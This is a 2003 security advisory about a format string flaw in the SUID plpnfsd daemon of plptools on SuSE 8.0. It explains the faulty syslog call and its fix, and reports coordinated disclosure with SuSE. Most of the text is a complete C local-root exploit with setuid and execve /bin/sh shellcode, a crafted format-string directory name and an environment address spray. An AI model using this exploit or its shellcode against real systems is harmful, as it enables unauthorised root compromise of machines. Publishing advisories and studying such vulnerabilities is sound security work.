________________________________________________________________________ Security Vulnerability Advisory ________________________________________________________________________ Distribution: SuSE 8.0 (possibly other versions, eg. 7.x/8.1) Package name: plptools-0.6mjg-161.i386.rpm Impact: Local root Author: Carl Livitt Date: January 29th, 2003 ________________________________________________________________________ Problem Description: A vulnerability in plpnfsd, the daemon that lets you mount Psion filesystems on your Linux workstation, allows a local attacker to gain root privileges by passing a carefully crafted directory name to the application. This package is NOT installed by default, however the application is exploitable under the default installation settings. ________________________________________________________________________ Problem Details: A format string vulnerability in the logging functions of plpnfsd can be exploited to overwrite arbitrary areas of memory with any value an attacker wishes. Because the plpnfsd binary is installed SUID root, this can lead to execution of arbitrary code with the privileges of the root user. In the sourcecode, the mpmain.c file contains the following vulnerable functions: int debuglog(char *fmt, ...) int errorlog(char *fmt, ...) int infolog(char *fmt, ...) All are identical except for the syslog log level (LOG_INFO, LOG_DEBUG etc). The exploitable code is: buf = (char *)malloc(1024); va_start(ap, fmt); vsnprintf(buf, 1024, fmt, ap); syslog(LOG_XXXXX, buf); The last line should, of course, read: syslog(LOG_XXXXX, "%s", buf); All recent versions of plptools contain this fix, but the SuSE packages have not been updated in a long time. ________________________________________________________________________ Updated Packages: SuSE were contacted on 15/1/2003 and arranged for new packages to be made available. The release date for this advisory was agreed to be 29/1/2003. The updated packages will be downloadable from the SuSE web- and FTP sites, although at the time of writing no packages are yet available. Updated versions are expected to be ready very soon. Alternatively, you can get the most recent sourcecode from the plptools homepage: http://plptools.sourceforge.net/ ________________________________________________________________________ Exploit Sourcecode: /* plpnfsd local r00t format string exploit for SuSE 8.0 (and others?) By Carl Livitt To use: gcc -o plp-exploit plp-exploit.c ./plp-exploit The version of plptools that this exploits is ancient... SuSE never got around to updating their packages, so I suppose this exploit should work on most SuSE 7.x releases without too much modification. New RPMs are available from www.suse.com - please upgrade asap. ---------- You may notice the format string has huge stack offsets in it. These are due to the fact that the string we're exploiting does not let us take control of the first 32 bits of data needed for a typical exploit. So, instead, I put 256 copies of the address of my malicious EIP into an environment variable and then refer to it by counting 700 words into the stack to get at it (%700$49125d etc). Another fun-to-write exploit! */ #include #include #include #include // Saved EIP is at this addr on my SuSE 8.0 box #define WRITE_ADDRESS_DEFINE 0xbfffee10 // Some stuff we need... #define NUM_ADDRS 2048 #define PADDING 3 // Guess what this does? char shellcode[] = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" // setuid(0) "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; // aleph1 execve() of /bin/sh char scbuf[1024]; char directory[]="%700$49125d%700$hn%700$15607d%450$hn"; main(int argc, char **argv) { char buf[NUM_ADDRS*4]; char buf2[NUM_ADDRS*4]; int i; unsigned long WRITE_ADDRESS=WRITE_ADDRESS_DEFINE; char *env[]={ NULL, NULL, NULL, NULL }; char *prg[]={ "/bin/sh", "-c", NULL, NULL }; // yes, /bin/sh is correct! char tmp[1024]; // shouldn't be necessary on SuSE 8.0 if(argc>1) WRITE_ADDRESS=strtoul(argv[1], NULL, 16); // create exploit directory containing format string mkdir(directory,0777); // build large buffers containing address of saved EIP // end EIP+2. These will be placed into the environment // of the spawned plpnfsd process and used by the exploit // to determine where to place our malicious EIP. i=PADDING; while(i<(NUM_ADDRS/2)) { buf[i]=WRITE_ADDRESS&0xff; buf2[i++]=(WRITE_ADDRESS+2)&0xff; buf[i]=(WRITE_ADDRESS>>8)&0xff; buf2[i++]=(WRITE_ADDRESS+2>>8)&0xff; buf[i]=(WRITE_ADDRESS>>16)&0xff; buf2[i++]=(WRITE_ADDRESS+2>>16)&0xff; buf[i]=(WRITE_ADDRESS>>24)&0xff; buf2[i++]=(WRITE_ADDRESS+2>>24)&0xff; } // finish off the buffers... buf[NUM_ADDRS-1]='\0'; buf2[NUM_ADDRS-1]='\0'; memcpy(buf, "AA=", PADDING); memcpy(buf2, "BB=", PADDING); // build the shellcode... memset(scbuf, 0x90,1024); memcpy(scbuf, "S=", 2); memcpy(scbuf + 1024 - (strlen(shellcode)+1), shellcode, strlen(shellcode)); scbuf[1023]='\0'; // stick everything we need into the environment... sprintf(tmp, "/usr/sbin/plpnfsd -d '%s'", directory); prg[2]=strdup(tmp); env[0]=strdup(scbuf); env[1]=strdup(buf); env[2]=strdup(buf2); // display some info printf("SuSE 8.0 /usr/sbin/plpnfsd exploit - by Carl Livitt.\n\n"); printf("Once you've typed 'exit' in the root shell, it will crash.\n"); printf("You must type these commands _before_ 'exit' if you want\n"); printf("to exit cleanly:\n killall -9 rpciod\n killall plpnfsd\n"); printf(" [now press enter a few times]\n exit\n [press enter again]\n\nBecoming r00t...\n"); // ...and finally, launch the exploit. system("/usr/sbin/ncpd &> /dev/null"); // plpnfsd needs ncpd execve(*prg, prg, env); }